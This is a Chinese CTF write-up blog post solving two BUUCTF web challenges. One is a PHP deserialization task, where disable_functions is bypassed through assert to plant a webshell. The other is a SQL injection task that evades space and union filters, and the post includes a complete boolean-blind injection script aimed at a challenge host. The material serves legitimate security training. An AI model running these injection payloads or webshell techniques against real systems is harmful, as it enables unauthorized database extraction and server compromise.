BUU_刷题之旅(One)
前言:
水平不夠,刷題來(lái)湊!
[NPUCTF2020]ReadlezPHP
——反序列化、disable_functions的繞過(guò)、flag隱藏在phpinfo中
開始以為這一堆0101有什么線索,看了大半天也沒(méi)找出來(lái),抓包的時(shí)候發(fā)現(xiàn)
訪問(wèn)一下,發(fā)現(xiàn)是php代碼
考察的是反序列化,代碼很簡(jiǎn)單,但不要上來(lái)就直接使用system等函數(shù)去查看,先看下phpinfo都禁用了哪些函數(shù)
<?php class HelloPhp {public $a;public $b;public function __construct(){$this->a = '5';$this->b = "phpinfo";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);} } $c = new HelloPhp; echo serialize($c);
system函數(shù)等都被禁用了,但是assert函數(shù)沒(méi)有被禁用,可以利用一下寫入木馬
蟻劍連接一下,利用插件工具可以查看到根目錄下的flag
但是這個(gè)flag是假的,真的flag在phpinfo()中
[WUSTCTF2020]顏值成績(jī)查詢
——空格過(guò)濾、布爾盲注、聯(lián)合查詢
有回顯,手動(dòng)測(cè)試閉合符號(hào),發(fā)現(xiàn)無(wú)論是各種萬(wàn)能密碼都報(bào)錯(cuò),想了想應(yīng)該是過(guò)濾掉了空格,使用/**/代替發(fā)現(xiàn)1/**/order/**/by/**/2#可以正常回顯,所以無(wú)閉合符號(hào),所以下面就有兩種方法做,一種是聯(lián)合查詢,一種是布爾盲注
聯(lián)合查詢,發(fā)現(xiàn)union被過(guò)濾,可以雙寫繞過(guò)
下面就是套用語(yǔ)句去讀取了
布爾盲注,腳本如下:
import string import requestsif __name__ =='__main__':payloads = string.ascii_letters + string.digits + ',./?|}{_@#$%^&*()_=-'s=requests.session()temp = ''for i in range(1,50):print("value:")for p in payloads:# url = "http://3f1d7e79-8423-466a-96e4-e9ccec20e9a9.node3.buuoj.cn/?stunum=if((select(substr(group_concat(table_name),{},1))from/**/information_schema.tables/**/where/**/table_schema=database())='{}',1,2)".format(i,p)# url = "http://3f1d7e79-8423-466a-96e4-e9ccec20e9a9.node3.buuoj.cn/?stunum=if((select(substr(group_concat(column_name),{},1))from/**/information_schema.columns/**/where/**/table_schema=database())='{}',1,2)".format(i,p)url = "http://3f1d7e79-8423-466a-96e4-e9ccec20e9a9.node3.buuoj.cn/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,p)reponse = s.get(url=url,timeout=3).textif 'Hi admin' in reponse:temp += p print(temp)break總結(jié)
以上是生活随笔為你收集整理的BUU_刷题之旅(One)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: ISCC2020-Web题解
- 下一篇: Docker_基础知识